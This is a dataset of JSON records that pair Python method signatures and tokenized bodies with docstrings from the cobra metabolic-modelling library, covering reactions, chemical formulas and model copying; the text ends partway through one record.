{"signature": "@property<EOL><INDENT>def reduced_cost(self):<DEDENT>", "body": "try:<EOL><INDENT>check_solver_status(self._model.solver.status)<EOL>return self.forward_variable.dual - self.reverse_variable.dual<EOL><DEDENT>except AttributeError:<EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\".format(self.id))<EOL><DEDENT>except (RuntimeError, OptimizationError) as err:<EOL><INDENT>raise_with_traceback(err)<EOL><DEDENT>except Exception as err:<EOL><INDENT>raise_from(OptimizationError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(str(err))), err)<EOL><DEDENT>", "docstring": "The reduced cost in the most recent solution.\n\nReduced cost is the dual value of the corresponding variable in the\nmodel.\n\nWarnings\n--------\n* Accessing reduced costs through a `Solution` object is the safer,\n  preferred, and only guaranteed to be correct way. You can see how to\n  do so easily in the examples.\n* Reduced cost is retrieved from the currently defined\n  `self._model.solver`. The solver status is checked but there are no\n  guarantees that the current solver state is the one you are looking\n  for.\n* If you modify the underlying model after an optimization, you will\n  retrieve the old optimization values.\n\nRaises\n------\nRuntimeError\n    If the underlying model was never optimized beforehand or the\n    reaction is not part of a model.\nOptimizationError\n    If the solver status is anything other than 'optimal'.\n\nExamples\n--------\n>>> import cobra.test\n>>> model = cobra.test.create_test_model(\"textbook\")\n>>> solution = model.optimize()\n>>> model.reactions.PFK.reduced_cost\n-8.673617379884035e-18\n>>> solution.reduced_costs.PFK\n-8.6736173798840355e-18", "id": "f15895:c0:m19"}
{"signature": "@property<EOL><INDENT>def gene_name_reaction_rule(self):<DEDENT>", "body": "names = {i.id: i.name for i in self._genes}<EOL>ast = parse_gpr(self._gene_reaction_rule)[<NUM_LIT:0>]<EOL>return ast2str(ast, names=names)<EOL>", "docstring": "Display gene_reaction_rule with names intead.\n\n        Do NOT use this string for computation. It is intended to give a\n        representation of the rule using more familiar gene names instead of\n        the often cryptic ids.", "id": "f15895:c0:m24"}
{"signature": "@property<EOL><INDENT>def functional(self):<DEDENT>", "body": "if self._model:<EOL><INDENT>tree, _ = parse_gpr(self.gene_reaction_rule)<EOL>return eval_gpr(tree, {gene.id for gene in self.genes if<EOL>not gene.functional})<EOL><DEDENT>return True<EOL>", "docstring": "All required enzymes for reaction are functional.\n\n        Returns\n        -------\n        bool\n            True if the gene-protein-reaction (GPR) rule is fulfilled for\n            this reaction, or if reaction is not associated to a model,\n            otherwise False.", "id": "f15895:c0:m25"}
{"signature": "@property<EOL><INDENT>def x(self):<DEDENT>", "body": "warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return self.flux<EOL>", "docstring": "The flux through the reaction in the most recent solution.\n\n        Flux values are computed from the primal values of the variables in\n        the solution.", "id": "f15895:c0:m26"}
{"signature": "@property<EOL><INDENT>def y(self):<DEDENT>", "body": "warn(\"<STR_LIT>\", DeprecationWarning)<EOL>return self.reduced_cost<EOL>", "docstring": "The reduced cost of the reaction in the most recent solution.\n\n        Reduced costs are computed from the dual values of the variables in\n        the solution.", "id": "f15895:c0:m27"}
{"signature": "@property<EOL><INDENT>def reversibility(self):<DEDENT>", "body": "return self._lower_bound < <NUM_LIT:0> < self._upper_bound<EOL>", "docstring": "Whether the reaction can proceed in both directions (reversible)\n\n        This is computed from the current upper and lower bounds.", "id": "f15895:c0:m28"}
{"signature": "@property<EOL><INDENT>def boundary(self):<DEDENT>", "body": "return (len(self.metabolites) == <NUM_LIT:1> and<EOL>not (self.reactants and self.products))<EOL>", "docstring": "Whether or not this reaction is an exchange reaction.\n\n        Returns `True` if the reaction has either no products or reactants.", "id": "f15895:c0:m30"}
{"signature": "@property<EOL><INDENT>def model(self):<DEDENT>", "body": "return self._model<EOL>", "docstring": "returns the model the reaction is a part of", "id": "f15895:c0:m31"}
{"signature": "def _update_awareness(self):", "body": "for x in self._metabolites:<EOL><INDENT>x._reaction.add(self)<EOL><DEDENT>for x in self._genes:<EOL><INDENT>x._reaction.add(self)<EOL><DEDENT>", "docstring": "Make sure all metabolites and genes that are associated with\n        this reaction are aware of it.", "id": "f15895:c0:m32"}
{"signature": "def remove_from_model(self, remove_orphans=False):", "body": "self._model.remove_reactions([self], remove_orphans=remove_orphans)<EOL>", "docstring": "Removes the reaction from a model.\n\n        This removes all associations between a reaction the associated\n        model, metabolites and genes.\n\n        The change is reverted upon exit when using the model as a context.\n\n        Parameters\n        ----------\n        remove_orphans : bool\n            Remove orphaned genes and metabolites from the model as well", "id": "f15895:c0:m33"}
{"signature": "def delete(self, remove_orphans=False):", "body": "warn(\"<STR_LIT>\",<EOL>DeprecationWarning)<EOL>self.remove_from_model(remove_orphans=remove_orphans)<EOL>", "docstring": "Removes the reaction from a model.\n\n        This removes all associations between a reaction the associated\n        model, metabolites and genes.\n\n        The change is reverted upon exit when using the model as a context.\n\n        Deprecated, use `reaction.remove_from_model` instead.\n\n        Parameters\n        ----------\n        remove_orphans : bool\n            Remove orphaned genes and metabolites from the model as well", "id": "f15895:c0:m34"}
{"signature": "def __setstate__(self, state):", "body": "<EOL>if \"<STR_LIT>\" in state:<EOL><INDENT>state.pop(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in state:<EOL><INDENT>state[\"<STR_LIT>\"] = state.pop(\"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT>\" in state:<EOL><INDENT>state['<STR_LIT>'] = state.pop('<STR_LIT>')<EOL><DEDENT>if \"<STR_LIT>\" in state:<EOL><INDENT>state['<STR_LIT>'] = state.pop('<STR_LIT>')<EOL><DEDENT>self.__dict__.update(state)<EOL>for x in state['<STR_LIT>']:<EOL><INDENT>setattr(x, '<STR_LIT>', self._model)<EOL>x._reaction.add(self)<EOL><DEDENT>for x in state['<STR_LIT>']:<EOL><INDENT>setattr(x, '<STR_LIT>', self._model)<EOL>x._reaction.add(self)<EOL><DEDENT>", "docstring": "Probably not necessary to set _model as the cobra.Model that\n        contains self sets the _model attribute for all metabolites and genes\n        in the reaction.\n\n        However, to increase performance speed we do want to let the metabolite\n        and gene know that they are employed in this reaction", "id": "f15895:c0:m35"}
{"signature": "def copy(self):", "body": "<EOL>model = self._model<EOL>self._model = None<EOL>for i in self._metabolites:<EOL><INDENT>i._model = None<EOL><DEDENT>for i in self._genes:<EOL><INDENT>i._model = None<EOL><DEDENT>new_reaction = deepcopy(self)<EOL>self._model = model<EOL>for i in self._metabolites:<EOL><INDENT>i._model = model<EOL><DEDENT>for i in self._genes:<EOL><INDENT>i._model = model<EOL><DEDENT>return new_reaction<EOL>", "docstring": "Copy a reaction\n\n        The referenced metabolites and genes are also copied.", "id": "f15895:c0:m36"}
{"signature": "def __add__(self, other):", "body": "new_reaction = self.copy()<EOL>if other == <NUM_LIT:0>:<EOL><INDENT>return new_reaction<EOL><DEDENT>else:<EOL><INDENT>new_reaction += other<EOL><DEDENT>return new_reaction<EOL>", "docstring": "Add two reactions\n\n        The stoichiometry will be the combined stoichiometry of the two\n        reactions, and the gene reaction rule will be both rules combined by an\n        and. All other attributes (i.e. reaction bounds) will match those of\n        the first reaction", "id": "f15895:c0:m37"}
{"signature": "def __imul__(self, coefficient):", "body": "self._metabolites = {<EOL>met: value * coefficient<EOL>for met, value in iteritems(self._metabolites)}<EOL>if coefficient < <NUM_LIT:0>:<EOL><INDENT>self.bounds = (-self.upper_bound, -self.lower_bound)<EOL><DEDENT>if self._model:<EOL><INDENT>self._model._populate_solver([self])<EOL><DEDENT>context = get_context(self)<EOL>if context:<EOL><INDENT>context(partial(self._model._populate_solver, [self]))<EOL>context(partial(self.__imul__, <NUM_LIT:1.>/coefficient))<EOL><DEDENT>return self<EOL>", "docstring": "Scale coefficients in a reaction by a given value\n\n        E.g. A -> B becomes 2A -> 2B.\n\n        If coefficient is less than zero, the reaction is reversed and the\n        bounds are swapped.", "id": "f15895:c0:m41"}
{"signature": "@property<EOL><INDENT>def reactants(self):<DEDENT>", "body": "return [k for k, v in iteritems(self._metabolites) if v < <NUM_LIT:0>]<EOL>", "docstring": "Return a list of reactants for the reaction.", "id": "f15895:c0:m43"}
{"signature": "@property<EOL><INDENT>def products(self):<DEDENT>", "body": "return [k for k, v in iteritems(self._metabolites) if v >= <NUM_LIT:0>]<EOL>", "docstring": "Return a list of products for the reaction", "id": "f15895:c0:m44"}
{"signature": "def get_coefficient(self, metabolite_id):", "body": "if isinstance(metabolite_id, Metabolite):<EOL><INDENT>return self._metabolites[metabolite_id]<EOL><DEDENT>_id_to_metabolites = {m.id: m for m in self._metabolites}<EOL>return self._metabolites[_id_to_metabolites[metabolite_id]]<EOL>", "docstring": "Return the stoichiometric coefficient of a metabolite.\n\nParameters\n----------\nmetabolite_id : str or cobra.Metabolite", "id": "f15895:c0:m45"}
{"signature": "def get_coefficients(self, metabolite_ids):", "body": "return map(self.get_coefficient, metabolite_ids)<EOL>", "docstring": "Return the stoichiometric coefficients for a list of metabolites.\n\nParameters\n----------\nmetabolite_ids : iterable\n    Containing ``str`` or ``cobra.Metabolite``s.", "id": "f15895:c0:m46"}
{"signature": "def add_metabolites(self, metabolites_to_add, combine=True,<EOL>reversibly=True):", "body": "old_coefficients = self.metabolites<EOL>new_metabolites = []<EOL>_id_to_metabolites = dict([(x.id, x) for x in self._metabolites])<EOL>for metabolite, coefficient in iteritems(metabolites_to_add):<EOL><INDENT>if isinstance(metabolite, Metabolite):<EOL><INDENT>if ((metabolite.model is not None) and<EOL>(metabolite.model is not self._model)):<EOL><INDENT>metabolite = metabolite.copy()<EOL><DEDENT><DEDENT>met_id = str(metabolite)<EOL>if met_id in _id_to_metabolites:<EOL><INDENT>reaction_metabolite = _id_to_metabolites[met_id]<EOL>if combine:<EOL><INDENT>self._metabolites[reaction_metabolite] += coefficient<EOL><DEDENT>else:<EOL><INDENT>self._metabolites[reaction_metabolite] = coefficient<EOL><DEDENT><DEDENT>else:<EOL><INDENT>if self._model:<EOL><INDENT>try:<EOL><INDENT>metabolite =self._model.metabolites.get_by_id(met_id)<EOL><DEDENT>except KeyError as e:<EOL><INDENT>if isinstance(metabolite, Metabolite):<EOL><INDENT>new_metabolites.append(metabolite)<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(metabolite, string_types):<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>% self.id)<EOL><DEDENT>self._metabolites[metabolite] = coefficient<EOL>metabolite._reaction.add(self)<EOL><DEDENT><DEDENT>model = self.model<EOL>if model is not None:<EOL><INDENT>model.add_metabolites(new_metabolites)<EOL>for metabolite, coefficient in self._metabolites.items():<EOL><INDENT>model.constraints[<EOL>metabolite.id].set_linear_coefficients(<EOL>{self.forward_variable: coefficient,<EOL>self.reverse_variable: -coefficient<EOL>})<EOL><DEDENT><DEDENT>for metabolite, the_coefficient in list(self._metabolites.items()):<EOL><INDENT>if the_coefficient == <NUM_LIT:0>:<EOL><INDENT>metabolite._reaction.remove(self)<EOL>self._metabolites.pop(metabolite)<EOL><DEDENT><DEDENT>context = get_context(self)<EOL>if context and reversibly:<EOL><INDENT>if combine:<EOL><INDENT>context(partial(<EOL>self.subtract_metabolites, metabolites_to_add,<EOL>combine=True, reversibly=False))<EOL><DEDENT>else:<EOL><INDENT>mets_to_reset = {<EOL>key: old_coefficients[model.metabolites.get_by_any(key)[<NUM_LIT:0>]]<EOL>for key in iterkeys(metabolites_to_add)}<EOL>context(partial(<EOL>self.add_metabolites, mets_to_reset,<EOL>combine=False, reversibly=False))<EOL><DEDENT><DEDENT>", "docstring": "Add metabolites and stoichiometric coefficients to the reaction.\n        If the final coefficient for a metabolite is 0 then it is removed\n        from the reaction.\n\n        The change is reverted upon exit when using the model as a context.\n\n        Parameters\n        ----------\n        metabolites_to_add : dict\n            Dictionary with metabolite objects or metabolite identifiers as\n            keys and coefficients as values. If keys are strings (name of a\n            metabolite) the reaction must already be part of a model and a\n            metabolite with the given name must exist in the model.\n\n        combine : bool\n            Describes behavior a metabolite already exists in the reaction.\n            True causes the coefficients to be added.\n            False causes the coefficient to be replaced.\n\n        reversibly : bool\n            Whether to add the change to the context to make the change\n            reversibly or not (primarily intended for internal use).", "id": "f15895:c0:m47"}
{"signature": "def subtract_metabolites(self, metabolites, combine=True, reversibly=True):", "body": "self.add_metabolites({<EOL>k: -v for k, v in iteritems(metabolites)},<EOL>combine=combine, reversibly=reversibly)<EOL>", "docstring": "Subtract metabolites from a reaction.\n\n        That means add the metabolites with -1*coefficient. If the final\n        coefficient for a metabolite is 0 then the metabolite is removed from\n        the reaction.\n\n        Notes\n        -----\n        * A final coefficient < 0 implies a reactant.\n        * The change is reverted upon exit when using the model as a context.\n\n        Parameters\n        ----------\n        metabolites : dict\n            Dictionary where the keys are of class Metabolite and the values\n            are the coefficients. These metabolites will be added to the\n            reaction.\n\n        combine : bool\n            Describes behavior a metabolite already exists in the reaction.\n            True causes the coefficients to be added.\n            False causes the coefficient to be replaced.\n\n        reversibly : bool\n            Whether to add the change to the context to make the change\n            reversibly or not (primarily intended for internal use).", "id": "f15895:c0:m48"}
{"signature": "@property<EOL><INDENT>def reaction(self):<DEDENT>", "body": "return self.build_reaction_string()<EOL>", "docstring": "Human readable reaction string", "id": "f15895:c0:m49"}
{"signature": "def build_reaction_string(self, use_metabolite_names=False):", "body": "def format(number):<EOL><INDENT>return \"<STR_LIT>\" if number == <NUM_LIT:1> else str(number).rstrip(\"<STR_LIT:.>\") + \"<STR_LIT:U+0020>\"<EOL><DEDENT>id_type = '<STR_LIT:id>'<EOL>if use_metabolite_names:<EOL><INDENT>id_type = '<STR_LIT:name>'<EOL><DEDENT>reactant_bits = []<EOL>product_bits = []<EOL>for met in sorted(self._metabolites, key=attrgetter(\"<STR_LIT:id>\")):<EOL><INDENT>coefficient = self._metabolites[met]<EOL>name = str(getattr(met, id_type))<EOL>if coefficient >= <NUM_LIT:0>:<EOL><INDENT>product_bits.append(format(coefficient) + name)<EOL><DEDENT>else:<EOL><INDENT>reactant_bits.append(format(abs(coefficient)) + name)<EOL><DEDENT><DEDENT>reaction_string = '<STR_LIT>'.join(reactant_bits)<EOL>if not self.reversibility:<EOL><INDENT>if self.lower_bound < <NUM_LIT:0> and self.upper_bound <= <NUM_LIT:0>:<EOL><INDENT>reaction_string += '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>reaction_string += '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>reaction_string += '<STR_LIT>'<EOL><DEDENT>reaction_string += '<STR_LIT>'.join(product_bits)<EOL>return reaction_string<EOL>", "docstring": "Generate a human readable reaction string", "id": "f15895:c0:m51"}
{"signature": "def check_mass_balance(self):", "body": "reaction_element_dict = defaultdict(int)<EOL>for metabolite, coefficient in iteritems(self._metabolites):<EOL><INDENT>if metabolite.charge is not None:<EOL><INDENT>reaction_element_dict[\"<STR_LIT>\"] +=coefficient * metabolite.charge<EOL><DEDENT>if metabolite.elements is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>% metabolite.id)<EOL><DEDENT>for element, amount in iteritems(metabolite.elements):<EOL><INDENT>reaction_element_dict[element] += coefficient * amount<EOL><DEDENT><DEDENT>return {k: v for k, v in iteritems(reaction_element_dict) if v != <NUM_LIT:0>}<EOL>", "docstring": "Compute mass and charge balance for the reaction\n\n        returns a dict of {element: amount} for unbalanced elements.\n        \"charge\" is treated as an element in this dict\n        This should be empty for balanced reactions.", "id": "f15895:c0:m52"}
{"signature": "@property<EOL><INDENT>def compartments(self):<DEDENT>", "body": "if self._compartments is None:<EOL><INDENT>self._compartments = {met.compartment for met in self._metabolites<EOL>if met.compartment is not None}<EOL><DEDENT>return self._compartments<EOL>", "docstring": "lists compartments the metabolites are in", "id": "f15895:c0:m53"}
{"signature": "def get_compartments(self):", "body": "warn('<STR_LIT>', DeprecationWarning)<EOL>return list(self.compartments)<EOL>", "docstring": "lists compartments the metabolites are in", "id": "f15895:c0:m54"}
{"signature": "def _associate_gene(self, cobra_gene):", "body": "self._genes.add(cobra_gene)<EOL>cobra_gene._reaction.add(self)<EOL>cobra_gene._model = self._model<EOL>", "docstring": "Associates a cobra.Gene object with a cobra.Reaction.\n\n        Parameters\n        ----------\n        cobra_gene : cobra.core.Gene.Gene", "id": "f15895:c0:m55"}
{"signature": "def _dissociate_gene(self, cobra_gene):", "body": "self._genes.discard(cobra_gene)<EOL>cobra_gene._reaction.discard(self)<EOL>", "docstring": "Dissociates a cobra.Gene object with a cobra.Reaction.\n\n        Parameters\n        ----------\n        cobra_gene : cobra.core.Gene.Gene", "id": "f15895:c0:m56"}
{"signature": "def knock_out(self):", "body": "self.bounds = (<NUM_LIT:0>, <NUM_LIT:0>)<EOL>", "docstring": "Knockout reaction by setting its bounds to zero.", "id": "f15895:c0:m57"}
{"signature": "def build_reaction_from_string(self, reaction_str, verbose=True,<EOL>fwd_arrow=None, rev_arrow=None,<EOL>reversible_arrow=None, term_split=\"<STR_LIT:+>\"):", "body": "<EOL>forward_arrow_finder = _forward_arrow_finder if fwd_arrow is Noneelse re.compile(re.escape(fwd_arrow))<EOL>reverse_arrow_finder = _reverse_arrow_finder if rev_arrow is Noneelse re.compile(re.escape(rev_arrow))<EOL>reversible_arrow_finder = _reversible_arrow_finderif reversible_arrow is Noneelse re.compile(re.escape(reversible_arrow))<EOL>if self._model is None:<EOL><INDENT>warn(\"<STR_LIT>\")<EOL>model = None<EOL><DEDENT>else:<EOL><INDENT>model = self._model<EOL><DEDENT>found_compartments = compartment_finder.findall(reaction_str)<EOL>if len(found_compartments) == <NUM_LIT:1>:<EOL><INDENT>compartment = found_compartments[<NUM_LIT:0>]<EOL>reaction_str = compartment_finder.sub(\"<STR_LIT>\", reaction_str)<EOL><DEDENT>else:<EOL><INDENT>compartment = \"<STR_LIT>\"<EOL><DEDENT>arrow_match = reversible_arrow_finder.search(reaction_str)<EOL>if arrow_match is not None:<EOL><INDENT>self.lower_bound = -<NUM_LIT:1000><EOL>self.upper_bound = <NUM_LIT:1000><EOL><DEDENT>else:  <EOL><INDENT>arrow_match = forward_arrow_finder.search(reaction_str)<EOL>if arrow_match is not None:<EOL><INDENT>self.upper_bound = <NUM_LIT:1000><EOL>self.lower_bound = <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>arrow_match = reverse_arrow_finder.search(reaction_str)<EOL>if arrow_match is None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" %<EOL>reaction_str)<EOL><DEDENT>else:<EOL><INDENT>self.upper_bound = <NUM_LIT:0><EOL>self.lower_bound = -<NUM_LIT:1000><EOL><DEDENT><DEDENT><DEDENT>reactant_str = reaction_str[:arrow_match.start()].strip()<EOL>product_str = reaction_str[arrow_match.end():].strip()<EOL>self.subtract_metabolites(self.metabolites, combine=True)<EOL>for substr, factor in ((reactant_str, -<NUM_LIT:1>), (product_str, <NUM_LIT:1>)):<EOL><INDENT>if len(substr) == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>for term in substr.split(term_split):<EOL><INDENT>term = term.strip()<EOL>if term.lower() == \"<STR_LIT>\":<EOL><INDENT>continue<EOL><DEDENT>if \"<STR_LIT:U+0020>\" in term:<EOL><INDENT>num_str, met_id = term.split()<EOL>num = float(num_str.lstrip(\"<STR_LIT:(>\").rstrip(\"<STR_LIT:)>\")) * factor<EOL><DEDENT>else:<EOL><INDENT>met_id = term<EOL>num = factor<EOL><DEDENT>met_id += compartment<EOL>try:<EOL><INDENT>met = model.metabolites.get_by_id(met_id)<EOL><DEDENT>except KeyError:<EOL><INDENT>if verbose:<EOL><INDENT>print(\"<STR_LIT>\" % met_id)<EOL><DEDENT>met = Metabolite(met_id)<EOL><DEDENT>self.add_metabolites({met: num})<EOL><DEDENT><DEDENT>", "docstring": "Builds reaction from reaction equation reaction_str using parser\n\n        Takes a string and using the specifications supplied in the optional\n        arguments infers a set of metabolites, metabolite compartments and\n        stoichiometries for the reaction.  It also infers the reversibility\n        of the reaction from the reaction arrow.\n\n        Changes to the associated model are reverted upon exit when using\n        the model as a context.\n\n        Parameters\n        ----------\n        reaction_str : string\n            a string containing a reaction formula (equation)\n        verbose: bool\n            setting verbosity of function\n        fwd_arrow : re.compile\n            for forward irreversible reaction arrows\n        rev_arrow : re.compile\n            for backward irreversible reaction arrows\n        reversible_arrow : re.compile\n            for reversible reaction arrows\n        term_split : string\n            dividing individual metabolite entries", "id": "f15895:c0:m58"}
{"signature": "def __add__(self, other_formula):", "body": "return Formula(self.formula + other_formula.formula)<EOL>", "docstring": "Combine two molecular formulas.\n\n        Parameters\n        ----------\n        other_formula : Formula, str\n            string for a chemical formula\n\n        Returns\n        -------\n        Formula\n           The combined formula", "id": "f15896:c0:m1"}
{"signature": "def parse_composition(self):", "body": "tmp_formula = self.formula<EOL>if \"<STR_LIT:*>\" in tmp_formula:<EOL><INDENT>warn(\"<STR_LIT>\" % self.formula)<EOL>tmp_formula = self.formula.replace(\"<STR_LIT:*>\", \"<STR_LIT>\")<EOL><DEDENT>if \"<STR_LIT:(>\" in tmp_formula or \"<STR_LIT:)>\" in tmp_formula:<EOL><INDENT>warn(\"<STR_LIT>\" % self.formula)<EOL>return<EOL><DEDENT>composition = {}<EOL>parsed = element_re.findall(tmp_formula)<EOL>for (element, count) in parsed:<EOL><INDENT>if count == '<STR_LIT>':<EOL><INDENT>count = <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>count = float(count)<EOL>int_count = int(count)<EOL>if count == int_count:<EOL><INDENT>count = int_count<EOL><DEDENT>else:<EOL><INDENT>warn(\"<STR_LIT>\" %<EOL>(count, self.formula))<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>warn(\"<STR_LIT>\" %<EOL>(count, self.formula))<EOL>self.elements = {}<EOL>return<EOL><DEDENT><DEDENT>if element in composition:<EOL><INDENT>composition[element] += count<EOL><DEDENT>else:<EOL><INDENT>composition[element] = count<EOL><DEDENT><DEDENT>self.elements = composition<EOL>", "docstring": "Breaks the chemical formula down by element.", "id": "f15896:c0:m2"}
{"signature": "@property<EOL><INDENT>def weight(self):<DEDENT>", "body": "try:<EOL><INDENT>return sum([count * elements_and_molecular_weights[element]<EOL>for element, count in self.elements.items()])<EOL><DEDENT>except KeyError as e:<EOL><INDENT>warn(\"<STR_LIT>\" % e)<EOL><DEDENT>", "docstring": "Calculate the mol mass of the compound\n\n        Returns\n        -------\n        float\n            the mol mass", "id": "f15896:c0:m3"}
{"signature": "def __setstate__(self, state):", "body": "self.__dict__.update(state)<EOL>for y in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>for x in getattr(self, y):<EOL><INDENT>x._model = self<EOL><DEDENT><DEDENT>if not hasattr(self, \"<STR_LIT:name>\"):<EOL><INDENT>self.name = None<EOL><DEDENT>", "docstring": "Make sure all cobra.Objects in the model point to the model.", "id": "f15897:c0:m0"}
{"signature": "def __getstate__(self):", "body": "odict = self.__dict__.copy()<EOL>odict['<STR_LIT>'] = []<EOL>return odict<EOL>", "docstring": "Get state for serialization.\n\n        Ensures that the context stack is cleared prior to serialization,\n        since partial functions cannot be pickled reliably.", "id": "f15897:c0:m1"}
{"signature": "@property<EOL><INDENT>def solver(self):<DEDENT>", "body": "return self._solver<EOL>", "docstring": "Get or set the attached solver instance.\n\n        The associated the solver object, which manages the interaction with\n        the associated solver, e.g. glpk.\n\n        This property is useful for accessing the optimization problem\n        directly and to define additional non-metabolic constraints.\n\n        Examples\n        --------\n        >>> import cobra.test\n        >>> model = cobra.test.create_test_model(\"textbook\")\n        >>> new = model.problem.Constraint(model.objective.expression,\n        >>> lb=0.99)\n        >>> model.solver.add(new)", "id": "f15897:c0:m3"}
{"signature": "def get_metabolite_compartments(self):", "body": "warn('<STR_LIT>', DeprecationWarning)<EOL>return {met.compartment for met in self.metabolites<EOL>if met.compartment is not None}<EOL>", "docstring": "Return all metabolites' compartments.", "id": "f15897:c0:m9"}
{"signature": "@compartments.setter<EOL><INDENT>def compartments(self, value):<DEDENT>", "body": "self._compartments.update(value)<EOL>", "docstring": "Get or set the dictionary of current compartment descriptions.\n\n        Assigning a dictionary to this property updates the model's\n        dictionary of compartment descriptions with the new values.\n\n        Parameters\n        ----------\n        value : dict\n            Dictionary mapping compartments abbreviations to full names.\n\n        Examples\n        --------\n        >>> import cobra.test\n        >>> model = cobra.test.create_test_model(\"textbook\")\n        >>> model.compartments = {'c': 'the cytosol'}\n        {'c': 'the cytosol', 'e': 'extracellular'}", "id": "f15897:c0:m11"}
{"signature": "@medium.setter<EOL><INDENT>def medium(self, medium):<DEDENT>", "body": "def set_active_bound(reaction, bound):<EOL><INDENT>if reaction.reactants:<EOL><INDENT>reaction.lower_bound = -bound<EOL><DEDENT>elif reaction.products:<EOL><INDENT>reaction.upper_bound = bound<EOL><DEDENT><DEDENT>media_rxns = list()<EOL>exchange_rxns = frozenset(self.exchanges)<EOL>for rxn_id, bound in iteritems(medium):<EOL><INDENT>rxn = self.reactions.get_by_id(rxn_id)<EOL>if rxn not in exchange_rxns:<EOL><INDENT>LOGGER.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\",<EOL>rxn.id)<EOL><DEDENT>media_rxns.append(rxn)<EOL>set_active_bound(rxn, bound)<EOL><DEDENT>media_rxns = frozenset(media_rxns)<EOL>for rxn in (exchange_rxns - media_rxns):<EOL><INDENT>set_active_bound(rxn, <NUM_LIT:0>)<EOL><DEDENT>", "docstring": "Get or set the constraints on the model exchanges.\n\n        `model.medium` returns a dictionary of the bounds for each of the\n        boundary reactions, in the form of `{rxn_id: bound}`, where `bound`\n        specifies the absolute value of the bound in direction of metabolite\n        creation (i.e., lower_bound for `met <--`, upper_bound for `met -->`)\n\n        Parameters\n        ----------\n        medium: dictionary-like\n            The medium to initialize. medium should be a dictionary defining\n            `{rxn_id: bound}` pairs.", "id": "f15897:c0:m13"}
{"signature": "def __add__(self, other_model):", "body": "warn('<STR_LIT>', DeprecationWarning)<EOL>return self.merge(other_model, objective='<STR_LIT>', inplace=False)<EOL>", "docstring": "Add the content of another model to this model (+).\n\n        The model is copied as a new object, with a new model identifier,\n        and copies of all the reactions in the other model are added to this\n        model. The objective is the sum of the objective expressions for the\n        two models.", "id": "f15897:c0:m14"}
{"signature": "def __iadd__(self, other_model):", "body": "warn('<STR_LIT>', DeprecationWarning)<EOL>return self.merge(other_model, objective='<STR_LIT>', inplace=True)<EOL>", "docstring": "Incrementally add the content of another model to this model (+=).\n\n        Copies of all the reactions in the other model are added to this\n        model. The objective is the sum of the objective expressions for the\n        two models.", "id": "f15897:c0:m15"}
{"signature": "def copy(self):", "body": "new = self.__class__()<EOL>do_not_copy_by_ref = {\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\"}<EOL>for attr in self.__dict__:<EOL><INDENT>if attr not in do_not_copy_by_ref:<EOL><INDENT>new.__dict__[attr] = self.__dict__[attr]<EOL><DEDENT><DEDENT>new.notes = deepcopy(self.notes)<EOL>new.annotation = deepcopy(self.annotation)<EOL>new.metabolites = DictList()<EOL>do_not_copy_by_ref = {\"<STR_LIT>\", \"<STR_LIT>\"}<EOL>for metabolite in self.metabolites:<EOL><INDENT>new_met = metabolite.__class__()<EOL>for attr, value in iteritems(metabolite.__dict__):<EOL><INDENT>if attr not in do_not_copy_by_ref:<EOL><INDENT>new_met.__dict__[attr] = copy(<EOL>value) if attr == \"<STR_LIT>\" else value<EOL><DEDENT><DEDENT>new_met._model = new<EOL>new.metabolites.append(new_met)<EOL><DEDENT>new.genes = DictList()<EOL>for gene in self.genes:<EOL><INDENT>new_gene = gene.__class__(None)<EOL>for attr, value in iteritems(gene.__dict__):<EOL><INDENT>if attr not in do_not_copy_by_ref:<EOL><INDENT>new_gene.__dict__[attr] = copy(<EOL>value) if attr == \"<STR_LIT>\" else value<EOL><DEDENT><DEDENT>new_gene._model = new<EOL>new.genes.append(new_gene)<EOL><DEDENT>new.reactions = DictList()<EOL>do_not_copy_by_ref = {\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"}<EOL>for reaction in self.reactions:<EOL><INDENT>new_reaction = reaction.__class__()<EOL>for attr, value in iteritems(reaction.__dict__):<EOL><INDENT>if attr not in do_not_copy_by_ref:<EOL><INDENT>new_reaction.__dict__[attr] = copy(value)<EOL><DEDENT><DEDENT>new_reaction._model = new<EOL>new.reactions.append(new_reaction)<EOL>for metabolite, stoic in iteritems(reaction._metabolites):<EOL><INDENT>new_met = new.metabolites.get_by_id(metabolite.id)<EOL>new_reaction._metabolites[new_met] = stoic<EOL>new_met._reaction.add(new_reaction)<EOL><DEDENT>for gene in reaction._genes:<EOL><INDENT>new_gene = new.genes.get_by_id(gene.id)<EOL>new_reaction._genes.add(new_gene)<EOL>new_gene._reaction.add(new_reaction)<EOL><DEDENT><DEDENT>new.groups = DictList()<EOL>do_not_copy_by_ref = {\"<STR_LIT>\", \"<STR_LIT>\"}<EOL>for group in self.groups:<EOL><INDENT>new_group = group.__class__(group.id)<EOL>for attr, value in iteritems(group.__dict__):<EOL><INDENT>if attr not in do_not_copy_by_ref:<EOL><INDENT>new_group.__dict__[attr] = copy(value)<EOL><DEDENT><DEDENT>new_group._model = new<EOL>new.groups.append(new_group)<EOL><DEDENT>for group in self.groups:<EOL><INDENT>new_group = new.groups.get_by_id(group.id)<EOL>new_objects = []<EOL>for member in group.members:<EOL><INDENT>if isinstance(member, Metabolite):<EOL><INDENT>new_object = new.metabolites.get_by_id(member.id)<EOL><DEDENT>elif isinstance(member, Reaction):<EOL><INDENT>new_object = 